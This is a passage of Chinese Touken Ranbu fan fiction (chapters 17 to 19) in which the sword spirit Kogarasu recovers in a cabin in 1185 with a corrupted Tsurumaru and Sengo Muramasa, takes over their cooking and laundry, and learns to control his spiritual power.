努力地在漫长的记忆长河中搜寻,却一无所获。 “哎呀呀......完全不记得有这把刀。”他长长地吐出一口气,压下心头的惊疑,将刀轻轻归鞘,放回小乌身边。 金色的眼眸注视着床上昏迷的少年,充满探究。 “看来,这次捡到的可不是普通的惊吓啊。等他回来得通知一下才行了......”鹤丸站起身,望着窗外渐暗的天色。 ...... 小乌掀开沉重的眼皮,映入眼帘的不是印象中的天空,而是纹理粗糙的木头房顶。 “......咦?好像不痛了。” 他缓了半天神,意识回笼后,发现身体一点疼痛感都没有了。 试探着握了握手,除了隐隐约约感觉被包上了一层薄膜不太适应以外,一切都很正常。 他在传送时看到了游戏面板消失,并且落地后疼痛调节也失效了,他应该是成功了才对? 总不是做了一个梦吧。 “哟!你醒啦!” 面前突然近距离冒出来一个带着一缕白色挑染的黑毛 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“不,我并未被时之政府实装。” 小乌先向鹤丸介绍自己:“我的名字是小乌......” 他卡壳了一下,决定用游戏经历改动一下来编造一个合理的来历:“我在一处海边苏醒化为人形,然后被一群叫时间溯行军的怪物带了回去,被控制在历史修正主义者手下,刚刚才找到机会逃出来。” “之前......有其它刀剑付丧神偷偷给了我御守和坐标,我是按照他给的坐标进行传送的,不知道那个坐标代表的是什么地方。” 他说着说着作势要把放在胸口内袋的御守掏出来。 “等等等等!” 鹤丸阻止他,震惊:“傻孩子,别什么都往外掏啊!” 他表情夸张地指了指自己。 “我这个样子看着那么像好刃吗?” “呃......” 小乌哽住。 有道理。 “哦,不过你现在意识也晚了,因为我刚刚已经趁你昏迷把你身上里里外外都摸过一遍啦。” 鹤丸笑嘻嘻地指了指旁边桌子上的御守山,小乌才突然惊觉他居然没有穿外套! “放心放心!我只是想看看你身上有没有什么伤啦,你叫得那么惨,我听到你的声音才把你捡回来的。” “......”松了一口气。 小乌默默地拉紧了自己的衬衣下摆。 “别这么容易轻信别刃啊。”鹤丸看着小乌懵懂的表情,故意拉长调子,猛地沉下脸盯着他,“我可是暗堕了哦——知道什么是暗堕吗?” “知、知道,之前有见过。” 小乌被他翻脸比翻书还快的表现吓了一跳。 “那就谨慎些,以后长点心。” 鹤丸伸出手指戳戳小乌的额头,然后满意地收回手,身体微微前倾,下巴垫在椅背顶端,那双金色的眼睛闪烁好奇的光芒。 “那么,你是哪个时代和刀派的?好像从未听说过你的名字。” 17、第十七章 “......膝丸大人被作为嫁妆赠送给熊也别当后,源为义大人命人打造了我来陪伴髭切大人,因刀身带有乌鸦纹饰而得名小乌......我也是髭切大人的仿刀......髭切大人’友切‘的逸闻也是......” “后来我被修复后被送往了平氏,一直到坛之浦战役随着平氏一同沉海。” 他顿了顿,声音带着一丝紧张,谨慎地观察着鹤丸国永的表情。 “鹤丸殿当时也在平氏的吧?所以、所以我以为......您或许有听说过我。” 难道他记错了吗? 之前昏迷时他彻底将“刀剑小乌”的记忆吸收完毕,大部分记忆都很模糊,或者说很零碎,只有少量记忆时清晰的。 小乌认为是因为当时的他诞生时间太短了,并且受到过重创,所以记忆才有很多缺陷。 但他确实是记得有听见平氏的仆人在他面前提到过鹤丸国永来着。 “原来如此。”鹤丸国永若有所思地点点头,眼中闪过一丝恍然,“听你这么说,我确实有点印象了。” 他托着下巴,回忆道:“平氏......我的初代主人就是平氏将军平维茂,嘛,我经常跟随在将军身边,留在平氏内部的机会不多,所以我才会对你很陌生吧。” “当然!也可能是我年纪太大了记性不好吧。” 他摊了摊手,装模作样地发出一声三日月宗近牌的老年人痴呆笑。 “哈哈哈,也是老爷爷了呢。” 小乌松了一口气,被鹤丸国永学三日月宗近笑声的模样给逗得嘴角上扬。 “不过——” 鹤丸国永话锋一转,像个不满的孩子般鼓起脸颊,生动的表情冲淡了一身黑和暗堕气息带来的阴郁感。 “什么鹤丸殿啦,既然都曾在平氏,那就是缘分啦!就不要叫这么生疏啦!直接叫鹤丸、鹤先生都可以哦!” 他俏皮地眨眼,露出一个鼓励的笑容。 “是!” 小乌下意识地挺直了腰背。 “那、鹤丸?” “很好!”鹤丸竖起大拇指,给了小乌一个wink,仿佛打了特效一般在小乌眼中闪闪发光。 虽然这个鹤丸国永暗堕了,但性格依然跳脱随和,似乎和正常的鹤丸国永没什么变化呢。 小乌心中那份初来乍到和看见暗堕付丧神的惶恐似乎也消散了一些。 不如说,不愧是鹤丸国永? 回答了那么多问题,现在也该了解一下现状了。 “鹤丸。”小乌斟酌着开口,决定从最基础的地方开始询问,“这里是什么地方?还有,你......怎么会变成这样?” 他问得小心翼翼,眼神落在了鹤丸那身被染黑的出阵服上。 空气似乎凝滞了一瞬。 鹤丸脸上那如同阳光般耀眼的笑容,第一次像被风吹过的烛火般,极其轻微地闪烁、摇曳了一下。 蜡烛发出一声“噼啪”的炸响。 但下一秒,那点异样就被更加灿烂的笑容所覆盖,快得让小乌几乎以为是错觉。 “啊哈哈,这个嘛......” 他随意地挥了挥手,语气轻松得甚至带着点调侃,“只是杀了个审神者而已......不是什么大事啦!” 那轻描淡写的口吻,像是在谈论今天天气不错。 这过于随意的态度,反而让小乌心头一紧。 弑主这种事怎么可能不是什么大事嘛! 还是人类的时候,小乌也是看过许多刀剑乱舞二创的,明白其中的危害。 更何况现在他不管是肉/体还是思维都已经向刀剑转变,他看待许多问题的视角也偏向于刀剑付丧神,对于这种疑似虐待刀剑男士的恶性事件也更加重视,严肃以待。 但鹤丸国永似乎也不想在这个话题上停留,开始转移了话题:“然后呢,大概是因为审神者死了,时空传送装置的灵力供给不足,直接把我随机传送了,等回过神来,就已经掉在这个时代咯。” “不过别担心,还有个有趣的家伙跟我搭伙过日子呢。” “千子出去打猎了,算算时间也该回来了......” 千子?千子村正? 小乌重复着这个名字,心中暗忖。 这个角色......不,这把刀他知道,但不了解,谈起他小乌只能想起妖刀和脱衣服。 “至于时间和地点,现在是寿永四年,也就是西历的1185年,二月中旬,我们现在濑户内海附近。” 啊,这个时间点...... “......屋岛之战刚结束吗?” “没错!” 几乎在鹤丸国永话音落下的同时,吱呀一声,木屋的门被推开。 一个身材高大的身影走了进来,带着一身夜露与凉意。 来人浅紫色的长发如瀑垂至腰际,发丝上沾着草屑,发型有些凌乱,但更衬得那张妖艳绝伦的脸庞在昏暗中更显几分诡魅。 他背后斜挎着几只处理好的野兔和山鸡,用粗糙的草绳捆着,显然是今日的收获。 “哦?有客人?” 千子村正的声音带着一丝慵懒的磁性,目光扫过坐在床上的小乌。 那双猩红色的眸子带着审视和好奇,眉梢挑起。 “哟,千子,回来啦!” 鹤丸国永立刻从椅子上弹起来,笑嘻嘻地迎上去。 “给你介绍一下我捡回来的小朋友......” “哦。”千子村正听完后,将猎物随手挂在门边的钉子上“我明白了,是新来的倒霉蛋。” “我是千子村正,呵呵呵,也被叫做妖刀呢~” 小乌:“???” 什么倒霉蛋? “听鹤丸的介绍......你是在海中沉睡了千年后在岸边苏醒的?” 千子村正缓步走近,猩红的眸子毫不避讳地上下打量着小乌。 他微微俯身,凑近了些,仿佛在嗅闻小乌身上的气息。 小乌下意识地往后缩了缩。 片刻后,千子村正直起身。 “呵,有趣。”他发出一声意味不明的轻笑,双臂环抱,饶有兴味地看着小乌,“所以你是个本灵?” 虽然用的是反问语气,但从千子村正的表现来看,他对自己做出的结论是完全笃定的态度。 鹤丸国永也收敛了笑容,金色的眼眸认真地看向小乌,显然也在等待他的确认。 小乌在两道目光下犹豫了一下。 不过他的面前是同类,这并不是什么需要隐瞒的事。 他抿了抿唇,最终点了点头:“......是,我是本灵。” “哈!” 千子村正发出一声短促的惊叹。 “本灵?就这?”他毫不客气地上下打量着小乌,目光在他单薄的身形和格外孱弱的气息上停留,“弱成这样,连个像样的分灵都不如。” 千子村正的点评格外扎心。 别骂了别骂了,孩子要哭了呜呜呜。 “千子!”鹤丸国永不赞同地喊了一声,对小乌露出一个安抚的笑容,“别理他,这家伙说话一向不太好听,但其实只是刀子嘴豆腐心而已。” “什么刀子嘴豆腐心?!实话实说罢了。” “哎呀~热水差不多要烧好了,要先去洗澡吗?” “鹤丸国永!不要假装听不见!” 小乌虽然被千子村正直白的话语刺得有些窘迫,但也知道对方说的是事实。 他现在什么也不会,连挥刀都会不清楚,弱得甚至都配不上刀剑付丧神这一称号。 为了缓解尴尬,小乌将注意力放到了这间虽然简陋但设施齐全的木屋: 土灶、陶罐、储水的木桶、墙上挂着的兽皮、角落堆放的柴火......充满了浓厚的生活气息,显然不是临时落脚点。 “这里......看起来不像是临时住所。”小乌斟酌着措辞,“鹤丸,千子先生,你们在这里住了很久吗?” 他记得鹤丸说他是被随机传送过来的,但是没说是多久前。 “是啊,”千子村正接话,他放弃和鹤丸国永的理论,走到灶台边开始处理带回来的猎物,匕首在手中翻飞,动作熟练,“鹤丸的话已经快一年了吧。” “啊,这个啊。”鹤丸国永挠了挠头,重新坐回他的椅子,“快一年了吧?一开始也是风餐露宿,一个多月后遇到了千子他们,就搭伙过日子,一开始倒也不是在这里生活的,后来跟着源义经来转移到这,待了有一段时间。” “他们?”小乌敏锐地捕捉到了鹤丸话语里的复数词。 鹤丸国永的表情微微一滞,似乎意识到自己说错了话,金色的眼瞳闪烁了一下,随即又挂上那副轻松的笑容。 “对啊,就是千子嘛!这家伙虽然嘴巴坏,但行动力很强,这屋子大半东西都是他去弄来的。” 小乌看向千子村正。 紫发的打刀正倚在门框边,听到鹤丸的话,只是发出一声意义不明的轻哼,既没承认也没反驳,眼神却飘向屋外浓重的夜色。 他显然没有解释“他们”是谁的意思。 “至于我。” 千子村正收回目光,转向小乌,语气恢复了那种带着点嘲讽的慵懒。 “大概觉得我这把妖刀太难驾驭,会给他惹麻烦吧?那个人类让我离开,我就随便选了一个时代离开了,结果没几天就碰到这只聒噪的鹤,甩都甩不掉。” 他嘴上嫌弃,但小乌能感觉到,他对鹤丸的存在并非真的排斥。 小乌心中了然。 看来“他们”指的是千子村正可能还有其他同伴,但出于某种原因,现在只剩下他和鹤丸了。 鹤丸刚才的停顿和千子看向屋外的眼神都说明了这一点。 既然他们都没有详细说明的意思,小乌也识趣地不再追问,只是默默地将这个疑点记在了心里。 “新来的家伙,脏兮兮的还不快去洗洗?”千子头也不抬地说,还没等小乌回答,突然停下了动作转向他。 “不如我来帮你脱——” “对对对!” 鹤丸打断千子村正的施法,立刻热情地招呼起小乌。 “来来来,我带你去隔壁小间!” “真可惜。” 小乌:“......”谢谢你鹤丸! 差点吓得心脏骤停。 鹤丸国永和千子村正都开始做饭,让小乌先去隔壁洗澡。 木屋内一时安静下来,只有刚刚点燃的柴火偶尔在发出的爆裂声和千子村正切割猎物的摩擦声。 18、第十八章 小乌沐浴完,穿着鹤丸之前买来伪装平民用的水干回到主屋,一股难以形容的混合气味扑面而来。 灶台边,鹤丸国永正兴致勃勃地往一个冒着热气的陶罐里丢着什么,千子村正则在一旁,用刀将某种块茎切得奇形怪状后也丢了进去。 “洗好啦?正好!” 鹤丸回头,笑容灿烂,“快来尝尝我们的独家秘制!保证让你大开眼界!” 小乌走近陶罐,探头一看。 浑浊的汤水里翻滚着可疑的深绿色野菜、灰白色的不知名菌类、切成不规则块的某种根茎,以及......几块明显带着血丝、处理得相当粗糙的兔肉。 几片不知哪里采来的紫色花瓣漂浮在上面,大概是千子村正口中增添风味的点缀。 小乌:我的沉默震耳欲聋。 “这......这是什么?”小乌的声音有点发颤,指着那锅颜色浑浊诡异、气味复杂的东西。 “营养均衡的大餐!” 鹤丸一脸自豪,用木勺搅了搅,舀起一勺混合着花瓣和可疑菌菇的汤汁。 “你看,有肉,有菜,还有调味香料!千子负责处理食材,我负责创意搭配,完美!” 他金色的眼睛里闪烁着“快夸我”的光芒。 千子村正擦着短刀,猩红的眸子瞥了一眼那锅东西,嘴角勾起一个微妙的弧度:“huhuhuhu......做出了很有趣的东西呢~” 他作势要拉开胸口的衣襟:“让我们在开动前先来脱吧!” “不要脱啊!”x2 一阵兵荒马乱后。 在两人期待的目光下,小乌硬着头皮接过鹤丸递来的木碗,盛了小半碗。 “我、我开动了......” 他深吸一口气,抱着赴死般的心态,闭眼喝了一小口。 一股难以言喻的味道瞬间在口腔里炸开。 野草的苦涩、某种菌类的土腥、半生兔肉的腥臊,还有那紫色花瓣诡异的甜腻......各种味道彼此冲突又强行融合,直冲天灵盖。 “咳咳......” 小乌强忍着没有当场吐出来,脸都憋红了。 他放下碗,缓了好一会儿,才艰难地挤出几个字:“......嗯......能吃......吃不死人。” 这已经是他能给予的最高评价了。 别告诉我这两货在这个时代呆了这么久都在吃这种东西吧!太可怜了啊! 鹤丸眨眨眼:“只是吃不死人?我觉得很有特色啊!” 千子哼笑一声,似乎对小乌的评价并不意外,但也端起自己那碗,面不改色地吃了起来。 看着千子那副习以为常的样子,再想想未来可能天天面对这种惊喜,小乌就感觉三途川已经在向他招手。 他深吸一口气,仿佛下定了某种决心:“那个......鹤丸,千子先生,以后,做饭的事能不能交给我?” 空气安静了一瞬。 随即,鹤丸国永爆发出巨大的欢呼:“哦哦哦哦!真的吗?!你会做饭吗?!” 他几乎要跳起来,眼睛亮得惊人。 千子村正虽然没说话,但放下碗的动作明显轻快了许多,面上也露出惊喜的表情。 小乌作为人类的时候父母早亡,都是一个人生活,所以基本的生活技能还是会的。 不过鹤丸国永的提问倒是提醒他了。 嘶......平安老刀好像没一个会做饭?甚至毫不夸张地说生活能自理就已经很好了? 他也没什么擅于或者喜欢做料理的前主,莫名其妙地有做饭这项技能不太合理,得有个合理的解释。 “咳嗯,因为时间溯行军进食欲望很低,基本不开火做饭,所以我饿了都是自己解决的,也就会了一些,但是说不上好吃。” 不过肯定比你们好就是了。 小乌在心里悄悄吐槽。 听罢,鹤丸国永和千子村正脑子里不约而同地浮现出小乌在时间溯行军的地盘被折磨得面黄肌瘦,好不容易偷出一点食物,生火的时候还把自己弄得灰头土脸,才勉强能吃上几口饱腹。 哦~小可怜。 这两刃属实是把自己的厨房不妙大冒险代入进去了。 但有正常的饭吃可真是太好了! “那就太好了,以后就交给你了!”千子村正语气带着解脱,装都不装,“我们都不太擅长料理,每天都很苦恼呢。” 好家伙,所以你们根本不是没有自知之明! 小乌怀疑他们是不是在赌自己会做饭,然后主动提出要接替做饭这项工作。 “那么,为了庆祝未来伙食的改善,就让我来脱——!” “不要脱啊!!”x2 ...... 一顿食不知味的晚餐结束后,三人简单洗漱完毕。 夜色已深,木屋外只有虫鸣和偶尔掠过的风声。 鹤丸国永盘腿坐在铺好的床上,拍了拍身边的空位,脸上难得收起了嬉笑,烛光在他金色的瞳孔里跳跃,显得有些郑重:“时间还早,我们来开个睡前小会。” 小乌和千子依言坐下,三人围成一个小圈。 “首先,现状。” 鹤丸竖起一根手指:“如你所知,我们被困在这个时代了,我和千子村正都没有离开这个时代和联系时之政府的办法。” 他顿了顿:“但我们并非完全被动。” “时间溯行军。”千子村正接口,声音低沉,“它们像闻到腐肉的秃鹫,总会在历史的关键节点附近出没。我们一直在追踪它们的踪迹。” 鹤丸点头:“对!只要它们出现,就必然会引起时间线的异常波动,时之政府不可能坐视不理,一定会派遣刀剑男士前来清理。那就是我们的机会!搭上顺风车,或者至少......把消息传递出去。” 小乌听着,眼中燃起一丝希望:“你们在这里待了快一年了......都没有遇到吗?” 鹤丸和千子对视一眼,同时叹了口气,脸上是显而易见的疲惫和无奈。 “没有。” 鹤丸摇摇头,语气有些沉重,“或许是这里的时间溯行军藏得太好,时之政府一直没有检测到这个时间线派人驻守。” 千子村正补充道,声音带着冷意:“而且,在这里待得越久,另一个风险就越大。” 小乌心头一紧:“检非违使?” “没错。”鹤丸肯定道,“当不属于这个时代的存在停留过久,或者干预过深,时间线的偏移积累到一定程度,那些秩序维护者就会出现,它们可不管你是友是敌,只负责抹除异常。” 他的手指无意识地敲击着膝盖,“以我们三个现在的状态......对上它们,凶多吉少。” 屋内的气氛瞬间凝重起来。烛火摇曳,在墙壁上投下三人晃动的影子。 “我们在这里已经呆很久了,如果......”鹤丸的声音压得更低了,“如果这个时间线的异常始终微弱到无法被时之政府察觉,迟迟等不到支援……我们就只剩下一个下下策了。” 他没有接下去说明,但小乌从两人绷紧的下颌线感受到了他们内心的沉重。 他们希望不要有用上的一天。 沉默在木屋中蔓延,只有柴火未熄的余烬偶尔发出轻微的声响。 过了一会儿,鹤丸似乎想打破这沉重的气氛,目光转向小乌,语气重新变得温和:“对了,小乌,你那枚贴身带着的御守......能给我仔细看看吗?” “好的。” 小乌从内袋里取出那枚髭切给的御守,小心地解开系绳,将里面折叠的纸条和那枚磨损的金色纽扣也取了出来,放在手心。 鹤丸凑近烛光,先拿起那枚小小的金色纽扣,仔细端详。 纽扣除了能看出是某种制服上的配件,并无特殊标识。 “这个......看不出有什么用处。”他摇摇头,放下纽扣。 接着,他展开那张纸条。 当看清上面用灵力烙印的复杂坐标时,鹤丸脸上露出了果然如此的神情。 “呵......”他轻笑一声,将纸条还给小乌,“难怪感觉这灵力如此精纯,这个坐标,指向的是时之政府的核心——时政大楼。” 小乌接过纸条,指尖摩挲着坐标印记。 “给你这个的刃,”鹤丸看着他,“是希望你去时之政府寻求庇护和帮助吧?虽然位置有偏差,但是至少现在你逃出来了,以后有什么打算?要去那里吗?” 时之政府......刀剑付丧神的本灵也都会在那里吧? 小乌低头看着手中的坐标,那里有源氏,有小乌丸,有无数强大的、活生生的刀剑付丧神。 他们是他的同类,或许也是他理解自身、寻找归处的答案。 “我......” 他抬起头,双眸烛光下闪烁着,里面有迷茫,也有向往。 “我不知道具体该怎么做......但我觉得,我应该去。” “我想......见见本灵他们。” 我想知道,作为一把刀、作为付丧神,真正该有的样子。 小乌的声音虽轻却带着决意:“而且,那里或许有办法解决我身上的问题。 鹤丸赞许地点点头:“有目标是好事。” 他的话语中带上了点考校的意味,笑眯眯地问:“那么,按现在这个情况,你觉得我们接下来最该先做什么?” 小乌不假思索:“杀时间溯行军,等时政的支援。” “嗤——”千子村正发出一声毫不掩饰的嗤笑。 小乌一愣:“......不对吗?” “大方向没错,但对你个人而言,错得离谱。” 千子村正摇摇头,表情变得严肃起来,他指了指小乌裸露在外的、覆盖着灵力的双手:“你看看这个。” 小乌低头,那层温润的金光似乎比之前黯淡了一点。 “这个御守里面储存的力量在保护你的创口不被外界刺激,让你能像个正常人一样活动。但这力量不是永无止尽的,用一点少一点。” “等它耗尽,你想想会怎样?那些没有皮肤保护的神经直接暴露在空气里,每一次呼吸,每一次衣料的摩擦,甚至一阵风吹过......别说战斗了,光是疼痛就能把你逼疯,甚至直接要了你的命。” 小乌的脸色瞬间变得煞白,他下意识地捂住了脖子。 “所以!”鹤丸斩钉截铁地说,“当务之急,是学会使用你自己的灵力,学会用你的力量去保护这些创面。这是你活下去的基础。” 他拍了拍小乌的肩膀,金色的眼眸充满鼓励:“明天开始,我来教你使用灵力。” “千子。” 他转向紫发的打刀。 “追踪溯行军的事,暂时就拜托你了。” 千子村正哼了一声,算是应下,目光扫过小乌苍白紧张的脸,最终没再说什么刻薄话。 会议结束,夜色已深。 千子村正起身,走到墙角一个堆放着杂物的旧木箱旁,打开盖子,从里面利落地又拖出一套叠放整齐的被褥和枕头。 “喏。”他随手将东西扔到通铺空着的位置上。 看着这多出来的、显然是为第三人准备的寝具,小乌心中的猜测得到了无声的印证:这里曾经确实还有一位同伴。 小乌道谢后看向鹤丸国永,鹤丸国永朝他无声地嘘了一下。 嗯,看来和千子村正有关。 难道是蜻蛉切? 光是想也想不出什么头绪,他默默地走过去,铺好被褥。 简陋的木屋陷入黑暗,只有窗外稀疏的星光和地上余烬的微光。 三人并排躺在通铺上,鹤丸在左,千子在右,小乌在中间。 身下的干草铺得有点厚薄不均,带着舒心的草木气息。 小乌拉上带着淡淡皂角味的薄被,闭眼。 身体的疲惫如潮水般涌来,脑子里的想法却杂乱得让他难以入睡。 耳边是两位室友那平稳的呼吸声。 学习灵力......如果学会运用灵力是不是还能帮上鹤丸和千子呢?他们现在失去了审神者的供给,不知道还能撑多久。 手入也是,如果能成功他说不定还能做个奶妈...... 思绪翻腾,小乌渐渐觉得脑袋有些发沉,像灌了铅。 眼前的黑暗似乎开始旋转、扭曲,木屋粗糙的房梁纹理在视野边缘模糊、蠕动,仿佛有了生命。 “......是太累了吗?” 他迷迷糊糊地想,眼皮重得抬不起来,只当是精神透支后的正常反应。 眩晕感如同温柔的潮水,一点点淹没了他残存的意识。 他甚至没来得及感到警惕或害怕,就在这奇异的、带着轻微幻觉的眩晕中彻底沉入了无梦的黑暗。 ......啊哈哈,好像看见了三丽鸥髭切娃娃和三丽鸥膝丸娃娃在跳舞...... 屋外,夜枭发出一声悠长的啼鸣,穿透寂静的夜。 ...... 清晨熹微的光线透过木板的缝隙,在屋内投下几道朦胧的光柱。空气中浮动着微尘。 小乌是被痒醒的。 有什么东西正小心翼翼地、带着十足的好奇心,轻轻拨弄着他左耳垂下方那片柔软的黑色耳羽。 一下,又一下。 “唔......” 小乌无意识地哼了一声,脑袋下意识地往旁边偏了偏,试图躲开那恼人的骚扰。 然而那触感不依不饶,甚至胆大地捏住了其中一片耳羽的尖端,轻轻捻了捻。 痒意和被打扰的不耐瞬间冲破了睡意的屏障。 小乌猛地一甩头,那片被捏住的耳羽如同受惊的雀鸟翅膀,“啪”地一下,精准地抽在了始作俑者凑近的脸上 “嗷!” 一声短促的痛呼。 “呵呵呵。” 还有一阵幸灾乐祸的笑声 小乌彻底惊醒,猛地睁开眼,正对上鹤丸国永那张近在咫尺、写满了不可置信的脸。 他捂着自己的脸,眼睛瞪得溜圆,像发现了什么新大陆,死死盯着小乌那对此刻因为受惊而微微炸毛、还在无意识抖动的黑色耳羽。 “它力气怎么这么大!?” 鹤丸的声音都变了调。 小乌:“......” 他茫然地眨眨眼,这才后知后觉地感受到耳朵上传来的异样感和轻微的麻痒。 他抬手摸了摸自己那对不安分的耳羽,它们似乎还在因为刚才的应激反应而微微颤动。 “鹤丸......你......” 小乌刚想说什么,昨晚入睡前那股突如其来的眩晕感和奇异的视觉扭曲感再次出现。 他皱起眉,揉着还有些发沉的太阳穴:“你昨晚有没有觉得头晕?或者看到什么奇怪的幻觉?” 鹤丸还沉浸在自己被耳羽扇耳光的震惊中,闻言愣了一下,随即摆摆手:“没有啊?我昨天沾枕头就睡着啦,什么感觉都没有。” 他凑近了些,仔细看了看小乌有些苍白的脸色,“怎么?你不舒服?难道是昨天的饭有问题?” 对哦!昨天的汤里有菌子,难道是菌子有毒? 千子村正在此时突然坐起,说要先一步去洗漱。 他走出门外的背影好似落荒而逃。 但小乌和鹤丸国永都没注意到。 提到昨天的饭,小乌胃里条件反射地一阵翻涌,脸色更白了。 他严重怀疑是那锅诡异的汤造成的后遗症,可是鹤丸和千子看起来都没事。 没有证据,小乌只能把疑惑压回心底,闷闷地摇了摇头:“......可能吧。” 三刃起床后,准备清洗换下的衣物。 木屋外不远处就是一条清澈的溪流。 小乌抱着自己的衣物走出来时,就看到鹤丸和千子已经蹲在溪边,对着木盆里的衣服如临大敌。 鹤丸国永拎起一件他自己的黑色里衣泡进水里,胡乱揉搓了几下,他的动作更像是在玩水,水花和泡沫四溅,衣服在他手下皱成一团。 拎起来看了看污渍还在,又用力搓了几下,结果“刺啦”一声轻响,腋下的缝线似乎被他过于热情的力道扯开了个小口子。 小乌默默移开视线 千子村正则更直接。 他拿起衣服,直接摊开铺在溪边一块相对平整的石头上,然后......拿起旁边刷锅用的硬毛刷子,沾了点水,对着衣襟上的一块泥渍就开始噌噌噌地猛刷。 动作之熟练,力道之凶狠,仿佛那不是衣服,而是需要打磨的刀条。 小乌看得眼皮直跳,额角青筋隐隐浮现。 更令人窒息的是拧干环节。 千子把衣服捞出盆,双手握住衣襟两端,猛地一拧——水流喷射而出,布料发出无声的悲鸣。 晾晒时,他们两个随手一搭,好好的衣服挂得像飘荡的破麻袋。 小乌彻底麻了。 他看着木盆里剩下的、堆积如山的脏衣服,再看看绳子上那几件如同咸菜的成果,一股强大的责任感油然而生。 够了!我说够了! “停!快停下!”小乌忍无可忍地冲过去,一把抢过千子手里的硬毛刷,又夺过鹤丸手里那件快被揉成咸菜还开了线的里衣。 “怎么了?”千子村正疑惑看着他,脸上还有水珠和泡沫。 他缓缓站起,小乌随着他的动作从低头到平视到抬头。 两人的身高差让小乌只能够到他的胸口处。 好大,啊不是,好高好壮。 身高差太大了压迫感好强。 鹤丸则挠挠头,嘿嘿笑了两声,有点不好意思:“哎呀,这个......洗衣服确实不太擅长......” 小乌深吸一口气,压下吐槽的欲望,麻利地将三人的脏衣服按颜色深浅分开,浸泡在木盆里。 “请把这些交给我吧,二位可以先去准备早餐需要用到的东西,我洗完就来做早餐。” 他拿起一块皂角,在衣物脏污处仔细涂抹,然后双手轻轻揉搓,动作流畅而细致,偶尔用指腹重点揉搓顽固污渍。冲洗时,他小心地展开衣物,让溪水带走泡沫,避免过度拉扯。 看着小乌行云流水般的动作,以及被温柔对待后明显干净许多、还没被暴力损坏的衣物,鹤丸和千子默默对视了一眼。 “诶呀这多不好意思......” 鹤丸搓着手,脸上堆起灿烂无比的笑容。 “千子,对吧?”他用手肘捅了捅旁边的千子。 千子村正无语地瞥他一眼,直接拆台:“没看出你哪不好意思。” 然后又对小乌说道:“多谢你了。” 小乌有些受宠若惊。 但不等小乌说话,他的目光便从小乌脸上移开,看向溪流上游:“我先去打水。” 接着身形一晃,迅速消失在林间。 鹤丸也立刻脚底抹油:“对对对!我去准备点柴火!小乌你慢慢洗,辛苦了哈!” 话音未落,人也一溜烟跑没影了。 送走两位家务废柴,小乌看了看瞬间空荡荡的溪边,又低头看看盆里剩下的衣服,无奈地叹了口气,继续手上的动作。 算了,至少......衣服保住了。 19、第十九章 鹤丸老师的小课堂开课啦! “来来来!” 鹤丸拍拍手,示意小乌在溪边一块干燥的大石头上坐下。 “灵力呢,说白了就是灵魂力量的延伸。” 鹤丸盘腿坐在小乌对面,神情难得认真:“首先,静心,感受它。它就在你的身体里流淌,像血液,像呼吸,更像一种与生俱来的本能。” “闭上眼睛,别想着控制,先去‘看’它,感受它的存在,它的流动。如果不太明白也可以先去试着感受御守附加在你身上的力量。” 小乌依言闭上眼,努力摒弃杂念。 起初,只有一片黑暗。 但渐渐地,在鹤丸平稳声音的引导下,他仿佛真的“看”到了一些东西——不是视觉,而是一种内在的感知。 一些光点如同萤火虫般,缓慢地在他体内与本体之间流转,微弱得仿佛随时会熄灭。 那就是他的灵力吗? “找到了吗?很好!”鹤丸的声音带着鼓励,“现在,别急。想象这些光点是你呼吸的一部分,吸气......呼气......呼气的时候,试着用你的意念,像推动水流一样,将这些光点引导向需要它的地方” 小乌尝试跟着鹤丸的节奏呼吸,气息逐渐变得缓慢而深长。 每一次呼吸,他都集中全部精神,用意念小心翼翼地推动着那些光点,像呵护初生的火苗,将它们一点点引向手腕。 这是一个极其缓慢且需要耐心的过程。 小乌的额角很快渗出了细密的汗珠。 那些灵力光点如同最顽皮的孩子,时而听话地挪动两下,时而又懒洋洋地停滞不前,甚至想挣脱控制散开。 鹤丸没有催促,只是偶尔低声提醒:“别急,慢慢来......对,就是这样,温柔一点......感受它,引导它,不是强迫它......” 时间一点点流逝,太阳也在慢慢地挪动位置。 终于,在无数次失败和微小的进展后,一股微弱的暖流,成功地从心脏的位置被引导出来,如同涓涓细流,缓缓覆盖在了小乌的手腕上。 刹那间,被御守中的灵力隔绝了大半但仍隐隐作痛的伤口,仿佛被一层无形的、温润的水膜彻底隔绝了。 前所未有的舒适感席卷而来。 小乌猛地睁开眼,难以置信地看着自己的手腕。 虽然外表看不出变化,但他能清晰地感觉到,一层薄薄的、由他自身灵力构成的保护膜,正温柔地覆盖在那里。 “我......我成功了?”他的声音带着颤抖和巨大的惊喜。 “做得好!”鹤丸的笑容比阳光还灿烂,用力拍了拍小乌的肩膀,“就是这样!现在继续让全身都被灵力包裹上,再尝试维持住它,让它成为你身体的一部分。” 小乌兴奋地点头,立刻尝试将灵力引向脚踝和脖颈。 有了第一次成功的经验,后面虽然依旧艰难,但顺利了许多。当最后一处裸露的创面也被自身那层薄薄的灵力薄膜覆盖时,小乌长长地舒了一口气,感觉整个人都轻盈了。 前所未有的轻松感和掌控感让他心潮澎湃。 一个念头不可抑制地冒了出来:奔跑! 自从在游戏里因为debuff而无法奔跑,后来在真实世界又因疼痛而步履维艰,奔跑对他而言早已是遥不可及的奢望。 他站起身,感受着脚下被灵力包裹后传来的、不再是尖锐刺痛而是扎实的触感。 他试探着,小心翼翼地迈出一步,又一步。 步伐越来越快,从快走变成了小跑。 风掠过耳畔,吹拂着他的发丝和耳羽。 脚步踏在松软的草地,身体腾空,预想中的疼痛没有到来。 只有清风鼓动衣衫,草木气息扑面,胸腔涌动着澎湃的喜悦。 这就是自由的感觉! “鹤丸!你看!我能跑了!” 小乌忍不住回头,对着坐在石头上的鹤丸大声喊道,脸上绽放出纯粹而灿烂的笑容,眼眸亮得惊人,像个第一次学会奔跑的孩子,充满了发现新大陆般的惊喜和激动。 他甚至忍不住在原地蹦跳了两下,感受着双脚离地再落地的轻盈。 阳光落在他身上,为他奔跑的身影镀上了一层金边。 他脸上发自内心的、毫无阴霾的快乐,感染到了鹤丸国永。 鹤丸国永看着在溪边空地上撒欢般奔跑、跳跃的少年,金色的眼眸里也盈满了笑意。 他托着下巴,看着小乌因为奔跑而微微泛红的脸颊,看着那双亮得惊人的眼睛,看着他充满活力的动作,心里软成一片。 “真像个孩子啊......”他轻声自语,随即又笑着摇摇头,“不,按他那点经历算起来......可不就是个刚出生没多久,什么也不懂的小孩子嘛。” 缺乏阅历,懵懂天真,却又带着一股韧劲。 需要引导和保护。 鹤丸看着小乌,仿佛看到了一棵脆弱却充满生机的新芽在笨拙而勇敢地破土伸展。 千子村正悄无声息地站在鹤丸身后几棵树的阴影里,双手抱臂,斜倚着树干,不知道看了多久。 